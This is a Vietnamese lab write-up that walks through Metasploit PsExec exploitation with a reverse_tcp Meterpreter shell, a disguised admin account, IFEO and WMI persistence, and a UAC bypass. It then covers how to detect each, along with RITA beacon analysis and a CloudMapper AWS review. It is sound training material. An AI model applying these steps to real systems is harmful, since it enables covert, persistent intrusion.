# Tấn công và Phòng thủ hệ thống
## Lab 5.4
### Giới thiệu
Trong bài lab này, máy Slingshot VM sẽ đóng vai là kẻ tấn công, còn máy Windows 10 sẽ là máy nạn nhân, sử dụng Metasploit để thiết lập persistence để truy cập đến hệ thống đã bị tấn công. Sau khi thiết lập persistence, chúng ta sẽ phân tích dưới góc độ của chuyên viên ứng cứu sự cố để nhận diện chiến thuật tấn công của đối phương.
### Yêu cầu
Sử dụng cả Slingshot VM và Windows 10 VM.
### Hướng dẫn
1. Tổng quan
Trong bài lab này, Slingshot VM là máy tấn công sẽ cố gắng khai thác để giành quyền điều khiển máy Windows, sau khi chiếm được quyền truy cập, chúng ta sẽ thực hiện các cơ chế persistence để duy trì quyền truy cập đến hệ thống mục tiêu.

1. Xác thực kết nối
Trên máy Linux, kiểm tra kết nối đến Windows sử dụng lệnh ping:

Keyword `-c` để chỉ định số lượng gói tin ICMP sẽ gửi đến đến IP 10.10.0.1, 3 để chỉ gửi 3 gói tin.

Test ngược lại từ máy Windows 10 sang máy Linux thì cũng thấy ping thành công.
1. Thiết lập Metapreter C2
Trong lab này chúng ta sẽ triển khai 3 cách persistence bằng cách sử dụng Metasploit Meterpreter.
Thay vì phải nhập thủ công từng bước khai thác PsExec, chúng ta sẽ sử dụng 1 script được cung cấp sẵn để tự động thực hiện quá trình khai thác. Chạy scirpt ở trong thư mục `~labs/quick/psexec.rc`, như hình dưới.

Keyword `-q`(quiet) để bớt hiện các banner logo, và `-r`(resource) để chạy script ở đường dẫn labs/quick/psexec.rc
Tiếp theo là quá trình tự động hóa:
* `use expoilt/windows/smb/psexec`: Chọn module tấn công PsExec.
* `set PAYLOAD …`: Chọn loại payload là reverse_tcp(reverse shell, kết nối ngược về máy tấn công).
* `set RHOST 10.10.0.1`: Thiết lập IP mục tiêu(Windows 10).
* `set SMBUSER sec504/ SMBPASS sec504`: Tự động điền tài khoản và mật khẩu đã biết để đăng nhập vào máy nạn nhân.
* `set LHOST 10.10.75.1`: Thiết lập IP của attacker(Slingshot Linux) để nhận kết nối trả về.
Kết quả:
* `[*] 10.10.0.1:445 - Connecting to the server...`: Metasploit kết nối vào cổng SMB (445) của máy nạn nhân.
* `[*] ... Authenticating ...`: Đăng nhập thành công với user **sec504**.
* `[+] ... Meterpreter session 1 opened ...`: Thành công! Một phiên điều khiển (session) đã được mở kết nối từ máy nạn nhân (10.10.0.1) về máy attacker (10.10.75.1).
Dòng cuối là metapreter >, là chúng ta đang ở trong shell của metapreter, chứng tỏ ta đã có quyền điều khiển máy nạn nhân(Windows 10).
1. **Persistence 1**: Thêm 1 tài khoản Local Administrative User
Với cơ chế persistence đầu tiên, chúng ta sẽ thêm 1 tài khoản người dùng quản trị cục bộ có tên là **assetmgt**. Từ shell Meterpreter, ta sử dụng hàm `execute` để kiểm tra quyền của shell bằng cách thêm lệnh whoami, như ở dưới:

**Execute** là lệnh của Meterpreter để chạy 1 chương trình trên máy nạn nhân, `-f whoami` để chỉ định chương trình cần chạy là `whoami`(là lệnh Windows để xem user hiện tại). `-i`(interact) cho phép tương tác với lệnh đó để xem kết quả trả về trên màn hình, nếu không có `-i`, lệnh sẽ chạy ngầm.
Ở đây chúng ta thấy sau khi chạy lệnh đã tạo ra 1 tiến trình có PID=4856, và phiên Meterpreter có quyền **nt authority\system**. **NT AUTHORITY\SYSTEM** (thường gọi là tài khoản **SYSTEM**) có quyền lực còn cao hơn cả tài khoản **Administrator** trong việc can thiệp vào các tiến trình hệ thống (services) và kernel. Điều này là đúng như mong đợi vì PsExc muốn khai thác cần quyền admin để truy cập thành công. Điều này cũng đã chỉ ra attacker đã có đủ quyền để tạo 1 người dùng mới.
Tiếp theo, thêm 1 tài khoản người dùng mới với hàm execute, thêm với lệnh Windows net user như dưới:

**Net**(hay net.exe) là một công cụ để quản lý và cấu hình hệ điều hành, đặc biệt là các vấn đề liên quan đến người dùng, nhóm, dịch vụ và kết nối mạng.
Lệnh trên dùng để tạo 1 tài khoản người dùng mới có tên là **assetmgt**, đây là 1 cách đặt tên thông minh, thay vì đặt là hacker hay test dễ bị phát hiện, **assetmgt**(viết tắt của asset management), với mật khẩu là **Password1**.
Nhưng hiện tai, tài khoản này vẫn là local user thường, sẽ không thể thực hiện các tác vụ như cài phần mềm, dump RAM. Vì vậy chúng ta cần phải add tài khoản này vào nhóm admin bằng lệnh sau:

Chúng ta có thể xác nhận lại bằng lệnh dưới:

Ta thấy tài khoản **assetmgt** đã là 1 thành viên trong nhóm **Administrator**
1. **Persistence 2**: Silence Process Exit
Tiếp theo, chúng ta sẽ sử dụng module khai thác (**exploit**) **persistence_image_exec_options** của **Metasploit** để thực hiện phương pháp duy trì quyền truy cập (**persistence**) thông qua cơ chế **Silent Process Exit**. Để triển khai cơ chế này, tiến trình Meterpreter của kẻ tấn công bắt buộc phải đang chạy với đặc quyền **SYSTEM** bên trong một tiến trình có kiến trúc vi xử lý gốc (ví dụ: một tiến trình 64-bit). Để làm điều này, ta sử dụng lệnh `migrate` để di chuyển tiến trình khai thác sang tiến trình **vmtoolsd.exe**, như được hiển thị như dưới đây:

Keywored `-N`(Name) để chỉ định tên tiến trình thay vì phải nhập **PID** của tiến trình
Tiếp theo, để chuyển phiên làm việc hiện tại, tức shell **Meterpreter** vào background, ta sử dụng lệnh `background`:

Ta thấy shell hiện tại đã trở thành **msf6**.
Tiếp theo, ta sử dụng module **persistence_image_exec_options** để khai thác. Cần chú ý rằng module này sẽ mặc định trở thành **windows/meterpreter/reverse_tcp**, là thứ chúng ta muốn sử dụng trong lab này.

Tiếp theo, hãy chỉ định số thứ tự phiên (session number) sao cho khớp với phiên được hiển thị khi bạn chạy lệnh `background` (theo mặc định, đây sẽ là phiên số 1, nhưng con số này có thể thay đổi tùy thuộc vào việc bạn đã thiết lập bao nhiêu phiên kết nối trong lần chạy Metasploit này).

Tiếp theo, hãy thiết lập tham số `lhost` là IP máy tấn công (Slingshot Linux); cài đặt tùy chọn `image_file` để giám sát việc thoát (exit) của tiến trình **Notepad**; thiết lập đường dẫn cho tiến trình gọi lại (**callback process**) là `C:\temp`, và đặt tên payload (`payload_name`) là `calc`, như bên dưới:

Cuối cùng, để tiến hành thiết lập persistence, chạy lệnh `run`:

1. **Persistence 3**: WMI Event Subscription
Với phương thức thiết lập persistence cuối, chúng ta sử dụng **Metasploit** WMI để kích hoạt 1 **Meterpreter** reverse TCP payload bất cứ khi nào người dùng đăng nhập thất bại với tài khoản **mssqladmin**.
Lưu ý: Tài khoản người dùng **mssqladmin** bình thường không tồn tại. Tên này được lựa chọn ở đây chỉ nhằm mục đích ngụy trang, khiến nó trông giống như một tên tài khoản hợp lệ.
Để thiết lập persistence qua WMI event subscription, bắt buộc phải được sử dụng với một tiến trình người dùng đã vượt qua các quyền kiểm soát tài khoản (**bypass UAC**). Để đáp ứng điều này, chúng ta sẽ quay lại phiên **Meterpreter** và di chuyển (`migrate`) sang tiến trình `explorer.exe` – tiến trình được khởi chạy khi người dùng Windows đăng nhập. Mặc dù chúng ta có thể thực hiện việc này bằng cách chạy lệnh `sessions -i 1` để khôi phục phiên, sau đó chạy lệnh `migrate`, rồi lại đưa phiên về nền (`background`) một lần nữa, nhưng chúng ta có thể đơn giản hóa quy trình bằng cách sử dụng lệnh `sessions` có tích hợp sẵn tác vụ di chuyển, như hình dưới:

Để thiết lập persistence bằng WMI event subscription, attacker cần phải bypass **UAC**. Với máy victim là Windows 10, chúng ta có thể thực hiện bằng lệnh `bypassuac_injection`. Nhập các tham số mục tiêu để khai thác như hình dưới:

Tiếp theo, để khai thác, tạo 1 phiên **Meterpreter** mới bằng lệnh `run`:

Chúng ta đã bypass thành công **UAC** như trên ảnh, và bây giờ có thêm phiên **Meterpreter** thứu 2. Phiên này có quyền chúng ta cần để thực hiện persistence qua WMI event subscription. Tiếp theo `background` phiên **Meterpreter** mới:

Tiếp theo, sử dụng module `wmi_persistence`. Đặt số của `session` bằng 2(phiên tạo **UAC bypass**); đặt `lhost` bằng IP của máy attacker(Linux); và đặt `username_trigger` thành `mssqladmin`, như dưới:

Cuối cùng, chạy `run` để khai thác:

Chúng ta đã triển khai 3 cơ chế persistence trên Windows.
1. Khởi động lại Windows
Tiếp theo, khởi động lại máy Windows. Đăng nhập sau khi vừa khởi động lại. Sau một vài giây, bạn sẽ thấy một thông báo từ **Metasploit** báo hiệu các phiên trước đó đã chết, như hình dưới:

1. Thiết lập callback handler
Để thực hiện phiên reverse TCP Meterpreter, attacker phải lắng nghe và chờ kết nối từ nạn nhân. Từ shell **Metasploit**, load module **handler** với payload reverse TCP, như dưới:

Tiếp theo, setup `payload` và `lhost`:

Chạy handler, như dưới:

Ở thời điểm này, attacker đang đợi các phương thức persistence được thực thi.
1. Mở và đóng Notepad
Quay lại máy Windows. Mở Notepad lên và đóng lại.
Sau khi Notepad đóng, quay lại Slingshot Linux, bạn sẽ thấy 1 phiên **Meterpreter** xuất hiện, chứng tỏ đã chạy **silent process exit** persistence, như hình dưới:

Ở đây chúng ta có thể thấy persistence đã hoạt động. Bằng cách sử dụng tính năng để debug các tiến trình, kẻ tấn công có thể kích hoạt 1 payload để có thể đóng bất kỳ chương trình nào.
1. Khởi động lại Windows
Khởi động Windows lần nữa để mô phỏng việc attacker mất phiên kết nối **Meterpreter**. Đăng nhập sau khi hệ thống khởi động lại. Bạn sẽ thấy 1 thông báo rằng phiên trước đó đã chết:

1. Khởi động lại exploit handler
Chạy `run` để khởi động lại handler:

1. Kích hoạt WMI Subcription Persistence
Với bên phía nghe(listener) chấp nhận kết nối, chúng ta có thể kích hoạt persistence bằng WMI event subscription. Nhớ rằng cơ chế persistence sẽ đợi người dùng cố gắng đăng nhập sử dụng tên người dùng `mssqladmin` với một mật khẩu nhập sai.
Mở 1 terminal mới trên Slingshot Linux. Từ terminal, chạy `smbclient` với tên người dùng là `mssqladmin`, như ở dưới:

Sau khi chạy lệnh `smbclient`, quay lại terminal ban đầu. Sẽ có 1 phiên **Meterpreter** xuất hiện, chạy persistence qua WMI event subscription, như hình dưới:

Một lần nữa chúng ta lại thấy phương thức persistence hoạt động. Bằng cách sử dụng tính năng WMI event subscription, kẻ tấn công có thể kích hoạt payload để thực thi gần như mọi sự kiên(event) Windows; trong trường hợp này là cố gắng đăng nhập với username cụ thể là `mssqladmin`.
1. Phân tích người dùng cục bộ(Local User Analysis)
Chúng ta sẽ xem xét các giải pháp để detect các phương thức persistence như một người phòng thủ. Đầu tiên, chúng ta sẽ quay lại với tài khoản local user đã được thêm vào hệ thống.
Chúng ta sẽ chạy lệnh `net user` trên Powershell để kiểm tra các tài khoản local user:

Chúng ta có thể phát hiện ra rằng tài khoản không được ủy quyền **assetmgt**, nhưng điều gì xảy ra nếu chúng ta không biết người dùng nào hợp lệ? Chúng ta có thể tìm kiếm những tài khoản người dùng được tạo gần đây bằng cách truy vấn Security event log của Event ID 4720.
Để truy vấn log của sự kiện(event), chúng ta sẽ dựng 1 bảng băm(hash table) Powershell với các thuộc tính chúng ta tìm kiếm. Nó cho phép chúng ta truy vấn log nhanh hơn lệnh `where`. Chạy Powershell với lệnh `Get-WinEvent`, lọc kết quả để chỉ hiển thị thông báo từ Event ID 4720, như hình dưới:


Powershell cho phép chúng ta truy vấn các log để xác định quá trình được tạo ra của các tài khoản người dùng mới, bằng cách tìm kiếm event ID tương ứng. Nhiều trường được set là **value not set** bởi vì người dùng chưa đăng nhập vào tài khoản, nhưng chúng ta có thể thấy tài khoản **assetmgt** được tạo vào 22/11/2025.
Lỗi có thể xảy ra trong kỹ thuật phân tích này, đó là Security event log, mặc định sẽ gỡ các bản ghi cũ nếu file log quá 20 MB. Điều này có thể xảy ra do sự kiện tương ứng với sự tạo ra của tài khoản mới có thể không tồn tại nếu nhiều bản ghi đã được thêm vào Security event log kể từ thời điểm người dùng mới được tạo ra.
1. Autoruns
Tiếp theo, kiểm tra persistence bằng **Autorun**. Autorun là 1 công cụ trong bộ Sysinternals của Microsoft.
Sysinternals phân tích tốt nhất khi được chạy dưới quyền Administrator. Mở **Autorun** trong `C:\Tools\Sysinternals\autoruns64.exe`, chạy với quyền Administrator. **Autoruns** sẽ chạy và hiển thị toàn bộ **ASEPs**(Auto-Start Extensibility Points), là các điểm cấu hình trong hệ điều hành (chủ yếu là Windows) cho phép các chương trình và quy trình được thực thi tự động, không cần sự can thiệp trực tiếp của người dùng.

Một vài điểm đáng chú ý:
* Mặc định, Autoruns ẩn các chương trình được tạo ra bởi Windows; bạn có thể xem các mục ẩn ấy bằng cách click vào **Options | Hide Windows Entries(uncheck)**.
* Các dòng trắng để chỉ rằng ASEP đang chạy và chương trình được xác thực(signed).
* Các dòng màu đỏ biểu thị rằng ASEP này không có mục nhập thông tin nhà phát hành (publisher entry).
* Các dòng vàng biểu thị ASEP tồn tại nhưng không tìm thấy file thực thi tương ứng.
Bấm vào WMI tab để chỉ tập trung vào các entry liên quan đến WMI event subscription. Chú ý rằng chỉ có một entry, tương ứng với module **Metasploit** `persistence_image_exec_options` mà ta đã sử dụng trước đó trong lab.

Autoruns có thể xác định sự hiện diện của 1 sự kiện WMI, và hiển thị dữ liệu truy vấn khi bạn chọn vào entry.Tuy nhiên, Autoruns không thể xác định file thực thi gắn với ASEP tương ứng, như hình:

Autoruns không thể cho chúng ta một bức tranh toàn cảnh attacker đã thiết lập gì với WMI ASEP. Để lấy thông tin chi tiết, chúng ta quay trở về Powershell và sử dụng lệnh `Get-WMIObject` để truy vấn dữ liệu của WMI event subscription, như ảnh:


Lệnh Powershell này được chia thành những cụm sau đây:
* `-Namespace root\Subscription`: Đọc từ WMI `root\Subscription` namespace.
* `-Class __EventFilter`: Truy vấn lớp `__EventFilter`(nơi mà WMI event subscribers được đăng ký).
* |: Gửi output đến `Get-WMIObject` đến 1 lệnh khác.
* `fl -property *`: Sử dụng lệnh `Format-List`, chỉ định rõ tên shortcut, và lấy tất cả thông tin thuộc tính của đối tượng.
Trong phần output chúng ta thấy 2 đối tượng WMI; đối tượng thứ 2 tương ứng với tiến trình **UPDATER** đáng ngờ và tiết lộ thông tin truy vấn WMI. Dữ liệu này giống hệt với dữ liệu Autoruns hiển thị với chúng ta. Chúng ta có thể đi sâu hơn nữa để tìm xem tiến trình nào sẽ được thực thi như 1 phần của kỹ thuật persistence này bằng cách truy vấn class`CommandLineEventConsumer`, như hình dưới:

Bằng cách truy vấn qua cả 2 lớp `__EventFilter` và `CommandLineEventConsumer` với lệnh `Get-WMIObject`, chúng ta có thể hoàn thành 1 vài thông tin còn thiếu trong **Autoruns**.
Quay lại Autoruns và chọn **Everything** tab. Trong filter box, nhập chuỗi **calc** để tìm kiếm phươn thức persistence **silent process exit** chúng ta đã sử dụng trong bài lab.

Thật không may, Autoruns không thể xác định ASEP liên kết với tính năng debug **silent process exit**. Nhưng chúng ta có thể truy vấn nó bằng cách kiểm tra registry.
1. Truy vấn Registry
Quay lại Powershell. Chúng ta sẽ kiểm tra registry key chứa danh sách chương trình đăng ký với **image file execution**. Chạy lệnh `reg query` như dưới đây:

Bằng cách kiểm tra key `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`, chúng ta có thể thấy danh sách các chương trình được setup cho **image file execution**, một phần của công cụ debug trong Windows. Ta có thể thấy **notepad.exe** trong danh sách, 1 dấu hiệu được setup để debug.
Kiểm tra giá trị của Notepad key này, như hình:

Giá trị `GlobalFlag` để mô tả với Windows chương trình nên được debug như thế nào, 0x200 để biểu thị rằng nó được setup cho **silent process exit**.
Chúng ta biết Notepad được setup cho **silent process exit**, nhưng chúng ta chưa thấy debugger là chương trình nào. Tiếp tục truy vấn registry key như dưới:

Chúng ta thấy **calc.exe** ở trong trường **MonitorProcess**, nghĩa là Notepad sẽ chạy `c:\calc.exe` khi nó thoát.
1. Cleanup
Để dọn dẹp và gỡ persistence, thực hiện lệnh sau:

Sau đó thoát Powershell và đóng Autoruns.
### Tại sao Lab này quan trọng
Nhiều chuyên gia phòng thủ tiếp cận công việc của mình bằng cách tập trung vào việc ngăn chặn kẻ tấn công xâm nhập vào hệ thống. Đây là một mục tiêu đáng khen ngợi, nhưng với tư cách là những người ứng cứu sự cố, chúng ta biết rằng các hệ thống rồi sẽ bị xâm phạm, và chúng ta cần phải chuẩn bị tốt nhất để đánh giá và ứng phó với những mối đe dọa đó.
Trong bài thực hành (lab) này, chúng ta đã áp dụng các kỹ thuật tấn công phổ biến để thiết lập cơ chế duy trì quyền truy cập (persistence) trên một hệ thống Windows 10. Bằng cách áp dụng những kỹ thuật này, chúng ta có được cái nhìn sâu sắc về các kỹ thuật, chiến thuật và quy trình (TTPs) của kẻ tấn công.
Sau khi áp dụng các phương pháp duy trì quyền truy cập trong bài lab, chúng ta đã tập trung vào khâu nhận diện. Mặc dù các công cụ như Autoruns rất có giá trị, nhưng không phải lúc nào chúng cũng cung cấp đầy đủ thông tin chi tiết mà chúng ta cần để nhận diện và loại bỏ mối đe dọa một cách hiệu quả. Đây là một lý do tuyệt vời khác giải thích tại sao việc hiểu rõ kẻ tấn công lại quý giá đến vậy, giúp chúng ta áp dụng các biện pháp ứng cứu sự cố một cách hiệu quả.
## Lab 5.5
### Giới thiệu
Lab này chúng ta sẽ sử dụng **RITA**(Real Intelligence Threat Analytics). Nó dùng để thu thập log(Zeek logs) và phân tích dữ liệu để phát hiện hành động ẩn danh có thể là bằng chứng của một hệ thống bị tấn công.
### Yêu cầu
Trong lab này chúng ta sử dụng Slingshot Linux.
### Hướng dẫn
1. Introduction
Với lab này, chúng ta sẽ kiểm tra hành vi của 2 công cụ gửi tín hiệu khác nhau, cả 2 đều khó bị phát hiện bởi cách phát hiện dựa trên signatures truyền thống.
Công cụ đầu là **VSAgent**, là 1 backdoor gửi tín hiệu mỗi 10 giây. Tất cả kết nối của nó đều là base64 encode và gửi qua cleartext HTML.
Công cụ tiếp theo là **DNSCat2**, sử dụng DNS như 1 kênh C2 chính.
Cả 2 công cụ đại diện cho nhu cầu phân tích lưu lượng bất thường. Nhưng chúng cũng giúp chúng ta thấy được làm thế nào chúng ta có thể tận dụng nút thắt(điểm tập trung dữ liệu) về DNS, URL và log về các kết nối để nhận diện hành vi beacon tiềm ẩn.
1. RITA Introduction
RITA hỗ trợ và xác định các attacker có thể lẩn tránh khỏi các sản phẩm phát hiện mối đe dọa truyền thống. Nó thực hiện nhiều tác vụ phân tích khác nhau bắng cách sử dụng Zeek logs. RITA sử dụng Zeek bởi tính nhất quán trong việc ghi log về các mốc thời gian kết nối và siêu dữ liệu về lưu lượng mạng.
Trong lab này, ta sẽ tập trung vào phân tích tín hiệu và DNS.
1. Setup
RITA dựa trên CSDL Mongo để lưu kết quả từ Zeek. Để khởi tạo Mongo, nhập lệnh sau trên terminal:

1. Import VSAgent Logs
Vì log VSAgent đã được thu thập sẵn, nên để truy cập VSAgent logs, chạy lệnh như dưới:

1. Import DNSAgent Logs
Nhập lệnh như dưới để truy cập DNSAgent log:

1. Tạo báo cáo
Chúng ta cần kiểm review lại dữ liệu bằng cách sử dụng chức năng HTML output của RITA:

Lệnh trên sẽ tạo báo cáo trong thư mục `rita-html-directory`. Nó sẽ tự động mở và tạo trang trong Firefox. Báo cáo có 2 option để review: vsagent và dnscat2, như ảnh:

1. Review báo cáo VSAgent
Chọn vsagent trên trang vừa mở trên Firefox

Chúng ta sẽ tập trung vào Beacons và User Agents.
Chọn Beacons
1. Phân tích beacons
1 vài C2 backdoor có **heartbeat** rất mạnh, là nơi backdoor tự kết nối lại để nhận lệnh từ attacker tại một khoảng thời gian cụ thể. Khoảng thời gian này của **heartbeat** gọi là Score, nơi mà nếu giá trị bằng 1 là thời điểm lặp lại hoàn hảo của kết nối giữa máy victim và server trong suốt giai đoạn capture. Giá trị xếp top đầu là giữa IP victim 10.234.234.100 và server C2 138.197.117.74

Chúng ta cũng có dữ liệu về số lượng kết nối. Mặc dù một số tín hiệu beacon có **heartbeat** rất rõ ràng, nhưng bản chất của chúng lại rất ngắn (diễn ra nhanh/tồn tại không lâu). Kết nối VSAgent của chúng ta có số lượng kết nối rất lớn với các khoảng thời gian lặp lại cực kỳ đều đặn (strong intervals), trong khi một số kết nối khác (ví dụ: các địa chỉ thuộc dải 65.52.108.*) dù có **heartbeat** rõ ràng nhưng số lượng kết nối lại không nhiều bằng.
Các trường khác là phân tích thống kê hiển thị 1 số thứ như **mode range** và **skew**
1. User Agent Strings
Chọn tab **User Agent** để xem các string liên quan đến **User Agent**
**User Agents** được sử dụng để nhận diện các hệ thống và ứng dụng đang bị thiếu các bản vá lỗi(outdated/unpatched). Tuy nhiên, trong ví dụ này, mục áp chót trong danh sách đã chỉ ra một số lượng kết nối tương ứng với tổng số kết nối trong phần phân tích Beacon (trừ đi 1). Nếu bạn quản lý hàng nghìn hệ thống và thấy cùng một hệ thống sử dụng một chuỗi User Agent 'độc nhất' (khác lạ) lặp đi lặp lại liên tục, thì đó là dấu hiệu cần phải điều tra kỹ hơn.


1. Phân tích DNSCat2
Tiếp theo, chúng ta sẽ đi sâu vào phần phân tích DNSCat2. Hãy nhấp vào dòng menu RITA, sau đó chọn báo cáo DNSCat2. Chúng ta sẽ cùng xem xét một loại backdoor có đặc điểm hoạt động không hoàn toàn giống với khuôn mẫu của VSA

Khi xem xét báo cáo Beacon đối với DNSCat2, chúng ta không thấy điểm số (score) cao hay số lượng kết nối lớn. Khác với VSAgent, DNSCat2 rất tinh vi trong cách thức lẩn tránh việc bị phát hiện trên hệ thống mạng.

Đối với C2 của DNSCat2, hãy nhấp vào tab phân tích DNS để có cái nhìn rõ nhất về loại backdoor này.

Có một vài điểm sẽ ngay lập tức 'đập vào mắt' điều tra viên. Đầu tiên, đã có tới 82.920 lượt truy vấn đến tên miền cat.nanobotninjas.com. Đây là một con số phi lý đối với một tên miền ít tên tuổi (ví dụ: không phải là google.com hay microsoft.com).
Hãy đi sâu vào để tìm hiểu điều gì đang diễn ra. Chúng ta sẽ tìm kiếm trong Zeek log.
1. Tìm kiếm Zeek log
Quay lại cửa sổ terminal. Truy cập vào thư mục chứa dữ liệu thô của RITA được phân tích, như hình:

Bên cạnh các tệp nhật ký (log files) khác được tạo bởi Zeek, chúng ta còn có thông tin nhật ký DNS cho toàn bộ hoạt động mạng đã được ghi nhận trong suốt 24 giờ. Tuy nhiên, dữ liệu này đang ở dạng nén và bị phân tán (chia nhỏ) thành nhiều tệp khác nhau. Để đánh giá toàn bộ nội dung này cùng một lúc, chúng ta có thể sử dụng tiện ích zgrep.
1. Phân tích Zeek log bằng zgrep
Bởi vì chúng ta đang đối mặt với một tên miền kỳ lạ có số lượng tên miền con (subdomain) khổng lồ, chúng ta cần trích xuất tất cả các mục nhập liên quan từ các tệp nhật ký DNS dạng nén của Zeek. Chúng ta có thể sử dụng tiện ích zgrep tương tự như công cụ grep để tìm kiếm tên miền nanobotninjas. Hãy chạy lệnh zgrep như được hiển thị dưới đây:

Lệnh này sẽ xác định tất cả dòng log nào khớp với chuỗi nanobotninja trong tất cả log của Zeek log.
1. Tìm kiếm Zeek log
Trong kết quả đầu ra phía trên, chúng ta có thể thấy kết quả của truy vấn. Kết quả cho thấy, đã có một số lượng rất lớn các yêu cầu bản ghi TXT xuất phát từ địa chỉ IP 10.234.234.105 gửi đến tên miền cat.nanobotninjas.com.
Nhưng hãy nhìn vào phần tên miền con (subdomain) của yêu cầu nằm ngay phía trước phần cat.nanobotninjas.com trong dòng nhật ký. Chúng ta có thể thấy một chuỗi ký tự ngẫu nhiên. Đây tuyệt đối không phải là hoạt động bình thường và nó xảy ra bởi vì DNSCat2 cần phải tạo ra một yêu cầu mới cho mỗi tên miền con để tránh bị lưu bộ nhớ đệm (caching). Việc này buộc máy chủ DNS (8.8.8.8) phải liên tục tìm đến máy chủ DNS của nanobotninja.com để thực hiện phân giải. Và đó chính là cách mà một số kênh điều khiển C2 qua DNS có thể bị phát hiện!
1. Tổng kết
Trong bài thực hành (lab) này, chúng ta đã tìm hiểu về các loại mã độc cửa hậu (backdoor) như VSAgent và DNSCat2, vốn dĩ rất khó bị phát hiện bởi các công nghệ IDS/IPS hiện hành. Tuy nhiên, bằng cách sử dụng Zeek và RITA để thực hiện phân tích thống kê và tần suất, chúng ta hoàn toàn có thể tìm ra các dấu hiệu bất thường.
Những dấu hiệu bất thường đó có thể dẫn chúng ta đến các tên miền và mẫu kết nối đáng ngờ, vốn là đặc điểm nhận dạng của những kẻ tấn công có trình độ cao (advanced adversary). RITA cũng hỗ trợ nhiều tính năng giúp việc phân tích trở nên mạnh mẽ hơn, chẳng hạn như danh sách tên miền cho phép (domain permit listing), danh sách IP cho phép, và khả năng phát hiện thuật toán sinh tên miền tự động (DGA).
### Tại sao lab này quan trọng
Việc có khả năng rà soát dữ liệu mạng để tìm kiếm các dấu hiệu của hành vi trích xuất dữ liệu (data exfiltration) hoặc lưu lượng điều khiển và ra lệnh (C&C hay còn gọi là C2) là yếu tố sống còn. Nếu bạn sở hữu các bộ công cụ phù hợp, như RITA và Zeek, việc phát hiện các hoạt động này sẽ trở nên dễ dàng hơn.
Thật không may, nhiều môi trường mạng hiện nay được thiết lập rất ít hoặc hoàn toàn không có khả năng giám sát để phát hiện các công cụ loại này. Tất cả các chuyên gia phòng thủ (Defenders) nên định kỳ kiểm tra xem liệu hệ thống của mình có khả năng phát hiện tối thiểu khi các cuộc tấn công này được triển khai trên mạng lưới hay không.
## Lab 5.6
### Giới thiệu
Trong bài thực hành (lab) này, bạn sẽ đánh giá dữ liệu AWS cloud asssessment của Falsimentis, được tạo ra bởi hai công cụ là CloudMapper và ScoutSuite.
### Yêu cầu
Lab này sẽ sử dụng Slingshot Linux VM.
### Hướng dẫn
1. Tổng quan
Bài lab này mang tính chất tập trung vào phòng thủ, cho phép bạn kiểm tra các kết quả quét đánh giá cấu hình đám mây từ CloudMapper và ScoutSuite. Cả hai công cụ này đều có các tính năng đánh giá lỗ hổng cấu hình, tuy nhiên năng lực hoạt động và khả năng hỗ trợ các nhà cung cấp dịch vụ đám mây của chúng lại rất khác biệt. Thông qua việc làm quen với kết quả trả về của cả hai công cụ, bạn sẽ có khả năng lựa chọn được công cụ phù hợp nhất với nhu cầu đánh giá môi trường đám mây của mình.
1. Mở terminal
Mở 1 terminal trên Slingshot
1. Setup Cloudmap
Để sử dụng Cloudmap vào thư mục `/opt/cloudmaper`:

CloudMapper được cấu hình sử dụng môi trường ảo Python(virtual environment). Để sử dụng CloudMapper, kích hoạt virtual environment bằng lệnh `source`, như hình:

1. CloudMapper: Kiểm tra cấu hình
Lab này đã tự động được điền đủ thông tin cấu hình với môi trường mạng Falsimentis cho việc sử dụng CloudMapper. `cat` để kiểm tra file **config.json** như hình:

Tệp cấu hình của CloudMapper dán nhãn cho các dải mạng bằng những cái tên dễ nhớ (friendly names), đồng thời chỉ định thông tin về tên và ID của tài khoản AWS. ID tài khoản AWS này tương ứng với tệp thông tin xác thực của AWS CLI (AWS CLI credentials file), như được hiển thị tại đây:

1. CloudMapper: Thu thập
Để sử dụng CloudMapper, bạn cần một tài khoản AWS có các quyền hạn (privileges) là SecurityAudit và jobfunction/ViewOnlyAccess. Sau khi đã chỉ định ID tài khoản trong tệp config.json và tệp thông tin xác thực AWS CLI, bạn có thể thu thập thông tin cần thiết cho quá trình đánh giá bằng cách sử dụng lệnh: python3 cloudmapper.py collect --config config.json.
Dữ liệu của CloudMapper được lưu trữ trong đường dẫn /opt/cloudmapper/account-data, sử dụng tên hồ sơ (profile name) làm tên cho thư mục con. Hãy kiểm tra thư mục chứa dữ liệu Falsimentis bằng lệnh ls, như được hiển thị tại đây.

1. CloudMapper: Prepare
Chuẩn bị dữ liệu để phân tích và kiểm tra bằng cách chạy hàm prepare, như hình:

1. CloudMapper: Network Map
Để kiểm tra dữ mạng mô hình hóa dữ liệu, chạy hàm webserver:

Mở firefox và chạy localhost port 8000, bạn sẽ thấy một sơ đồ mô tả mối quan hệ của hệ thống mạng như hình:

Bạn có thể click để sắp xếp lại các node mạng phù hợp với yêu cầu của bạn
Ở trong sơ đồ mạng được tạo ra, bạn có thể thấy mối quan hệ giữa các endpoint, được sắp xếp với các boundaries của AWS region và các nhãn ứng với cài đặt trong file `config.json`. Trong ảnh trên ta thấy nhiều thực thể AWS VPS và VPC được phân phối cho nhiều region us-west-1(us-west-1a, us-west-1c).
1. CloudMapper: Network Map Node Detail
Cửa sổ Welcome to CloudMapper cho phép chúng ta kiểm tra thông tin chi tiết về các node khác nhau trong môi trường AWS. Bấm vào node Dev Webserver, sau đó mở rộng hàng Details để thu được nhiều thông tin hơn về node, như hình:

Lướt xuống thông tin chi tiết về các hàng và các node được chọn, trả lời các câu hỏi.
Answer: The public IP address of the Dev Webserver node is 13.57.56.39, as shown here.

Answer: The instance type is t2.micro, as shown here.

Answer: The security group name is morning-ssh-http, as shown here. Note that CloudMapper does not show us the conguration of the security group, only the name of the group assigned to the selected node.

1. CloudMapper: Explore DB Server 1 Configuration
Answer: The Tags block of the DB Server 1 node includes a collection of key/value entities. Among these is an AWS access key and an AWS secret key. It is not uncommon to see developers pass information from launch to the VM using tags, including the disclosure of sensitive key information.

1. Close Firefox, Web Server
Đóng Firefox để tiếp tục bài lab, quay lại terminal. Bấm Ctrl + C để đóng web server, quay lại về shell.
1. CloudMapper: Generate Assessment Report
Chạy hàm `report` để tạo assessment report:

1. CloudMapper: Open Assessment Report
Mở report trong Firefox:

1. CloudMapper: Assessment Report - Public Network Resources
Bấm vào Public network resources để vào section Public network resources của báo cáo. CloudMapper sẽ hiển thị resources công khai phân theo các loại. Với Falsimentis, nó chứa 9 thực thể EC2, như hình:

